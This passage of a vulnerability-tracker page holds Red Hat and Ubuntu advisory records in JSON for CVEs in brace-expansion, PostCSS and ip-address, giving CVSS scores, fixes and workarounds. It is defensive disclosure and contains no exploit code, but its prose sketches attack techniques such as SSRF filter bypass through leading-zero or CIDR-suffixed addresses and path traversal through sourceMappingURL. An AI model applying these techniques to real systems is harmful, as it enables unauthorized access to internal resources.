"summary": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031"
},
{
"category": "external",
"summary": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895"
}
],
"release_date": "2026-08-03T16:33:36.324000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-05T14:18:29+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50826"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "brace-expansion: brace-expansion: Denial of Service via unbounded intermediate arrays"
},
{
"cve": "CVE-2026-69153",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2026-08-03T18:01:01.506065+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510719"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in PostCSS. A remote attacker can exploit this vulnerability by providing a specially crafted sourceMappingURL when a specific configuration (the \u0027from\u0027 parameter) is not set. This can cause the application to read and expose unintended source-map files, potentially revealing sensitive information about the application\u0027s source code.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat rates this flaw as Moderate because the information disclosed is limited to files with a .map extension. Source map files may contain source code paths and content, but the attacker cannot read arbitrary files on the system. Exploitation requires the application to process attacker-controlled CSS through PostCSS on the server side.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-69153"
},
{
"category": "external",
"summary": "RHBZ#2510719",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510719"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-69153",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69153"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69153"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8",
"url": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/releases/tag/8.5.19",
"url": "https://github.com/postcss/postcss/releases/tag/8.5.19"
},
{
"category": "external",
"summary": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp",
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
}
],
"release_date": "2026-08-03T16:56:25.733000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-05T14:18:29+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50826"
},
{
"category": "workaround",
"details": "Pass map: false when invoking PostCSS to disable source map auto-loading. This prevents the path traversal from being triggered, though it removes source map support entirely.",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "postcss: PostCSS: Information disclosure via crafted sourceMappingURL"
},
{
"cve": "CVE-2026-69192",
"cwe": {
"id": "CWE-1389",
"name": "Incorrect Parsing of Numbers with Different Radices"
},
"discovery_date": "2026-08-03T21:02:17.374935+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510801"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the `ip-address` library. This library incorrectly interprets IPv4 address octets with leading zeros as decimal, while standard network parsers interpret them as octal. This inconsistency can cause applications to misclassify network targets, allowing a remote attacker to bypass security measures like Server-Side Request Forgery (SSRF) filters and potentially gain unauthorized access to internal systems.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "ip-address: ip-address: Inconsistent IP address parsing leads to Server-Side Request Forgery (SSRF) and trust-boundary bypass",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-69192"
},
{
"category": "external",
"summary": "RHBZ#2510801",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510801"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-69192",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69192"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69192",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69192"
},
{
"category": "external",
"summary": "https://github.com/beaugunderson/ip-address/commit/56368cb3d66c73ba0ee9b6b834fd31b22c2fd71e",
"url": "https://github.com/beaugunderson/ip-address/commit/56368cb3d66c73ba0ee9b6b834fd31b22c2fd71e"
},
{
"category": "external",
"summary": "https://github.com/beaugunderson/ip-address/releases/tag/v10.3.1",
"url": "https://github.com/beaugunderson/ip-address/releases/tag/v10.3.1"
},
{
"category": "external",
"summary": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-mwp4-54f8-5fhr",
"url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-mwp4-54f8-5fhr"
}
],
"release_date": "2026-08-03T19:56:13.640000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-05T14:18:29+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50826"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "ip-address: ip-address: Inconsistent IP address parsing leads to Server-Side Request Forgery (SSRF) and trust-boundary bypass"
},
{
"cve": "CVE-2026-69198",
"cwe": {
"id": "CWE-1389",
"name": "Incorrect Parsing of Numbers with Different Radices"
},
"discovery_date": "2026-08-03T21:02:27.972296+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2510803"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in ip-address, a JavaScript library for parsing and manipulating IP addresses. By appending a Classless Inter-Domain Routing (CIDR) suffix to an IP address, an attacker can bypass the library\u0027s special-use classification methods. This misclassification can lead applications, such as those designed to prevent Server-Side Request Forgery (SSRF), to incorrectly treat internal network targets as external. Consequently, an attacker may be able to access internal resources or bypass other network trust-boundary checks.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "ip-address: ip-address: Server-Side Request Forgery (SSRF) and trust-boundary bypass",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Red Hat products that ship the affected ip-address library versions use it in browser-side UI components for IP address display and form validation, not for server-side request filtering or SSRF protection. The classification bypass has no security-relevant effect in this context because no trust-boundary decisions are built on these client-side checks.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-69198"
},
{
"category": "external",
"summary": "RHBZ#2510803",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510803"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-69198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69198"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-69198",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69198"
},
{
"category": "external",
"summary": "https://github.com/beaugunderson/ip-address/commit/488fe9bc7c35363b4b090494fc38c266d217740d",
"url": "https://github.com/beaugunderson/ip-address/commit/488fe9bc7c35363b4b090494fc38c266d217740d"
},
{
"category": "external",
"summary": "https://github.com/beaugunderson/ip-address/releases/tag/v10.2.2",
"url": "https://github.com/beaugunderson/ip-address/releases/tag/v10.2.2"
},
{
"category": "external",
"summary": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-4xrf-jv44-h6hh",
"url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-4xrf-jv44-h6hh"
}
],
"release_date": "2026-08-03T19:59:05.731000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-08-05T14:18:29+00:00",
"details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:50826"
},
{
"category": "workaround",
"details": "Validate and sanitize CIDR suffixes on IP address input before passing them to the ip-address library. Reject any user-supplied address where the prefix length is outside the valid range for the address family (0-32 for IPv4, 0-128 for IPv6) or where the prefix length contradicts the intended classification check. Applications that rely on ip-address for SSRF filtering should add an independent server-side check that does not depend on the library\u0027s classification methods.",
"product_ids": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Hardened Images:grafana13-1-main@aarch64",
"Red Hat Hardened Images:grafana13-1-main@src",
"Red Hat Hardened Images:grafana13-1-main@x86_64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "ip-address: ip-address: Server-Side Request Forgery (SSRF) and trust-boundary bypass"
}
]
}
ubuntu-cve-2026-69153
Vulnerability from osv_ubuntu
Published
2026-08-03 17:16
Modified
2026-08-06 20:00
Summary
Details
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
Severity
5.3 (Medium)
N/A (UNKNOWN)
References
{
"affected": [
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "node-postcss",
"binary_version": "6.0.23-3"
}
]
},
"package": {
"ecosystem": "Ubuntu:20.04:LTS",
"name": "node-postcss",
"purl": "pkg:deb/ubuntu/node-postcss@6.0.23-3?arch=source\u0026distro=focal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"6.0.23-1",
"6.0.23-3"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "node-postcss",
"binary_version": "8.4.6+~cs7.3.21-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:22.04:LTS",
"name": "node-postcss",
"purl": "pkg:deb/ubuntu/node-postcss@8.4.6+~cs7.3.21-1?arch=source\u0026distro=jammy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"8.2.1+~cs5.3.23-8",
"8.4.5+~cs7.1.51-2",
"8.4.6+~cs7.3.21-1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "node-postcss",
"binary_version": "8.4.31+~cs8.0.26-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:24.04:LTS",
"name": "node-postcss",
"purl": "pkg:deb/ubuntu/node-postcss@8.4.31+~cs8.0.26-1?arch=source\u0026distro=noble"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"8.4.20+~cs8.0.23-1",
"8.4.31+~cs8.0.26-1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "node-postcss",
"binary_version": "8.5.8+~cs9.3.30-1"
}
]
},
"package": {
"ecosystem": "Ubuntu:26.04:LTS",
"name": "node-postcss",
"purl": "pkg:deb/ubuntu/node-postcss@8.5.8+~cs9.3.30-1?arch=source\u0026distro=resolute"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"8.5.6+~cs9.3.28-1",
"8.5.8+~cs9.3.30-1"
]
}
],
"aliases": [],
"details": "PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map\u2019s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.",
"id": "UBUNTU-CVE-2026-69153",
"modified": "2026-08-06T20:00:58Z",
"published": "2026-08-03T17:16:00Z",
"references": [
{
"type": "REPORT",
"url": "https://ubuntu.com/security/CVE-2026-69153"
},
{
"type": "REPORT",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69153"
},
{
"type": "REPORT",
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp"
},
{
"type": "REPORT",
"url": "https://github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8"
},
{
"type": "REPORT",
"url": "https://github.com/postcss/postcss/releases/tag/8.5.19"
}
],
"related": [],
"schema_version": "1.7.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
},
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "medium",
"type": "Ubuntu"
}
],
"upstream": [
"CVE-2026-69153"
]
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…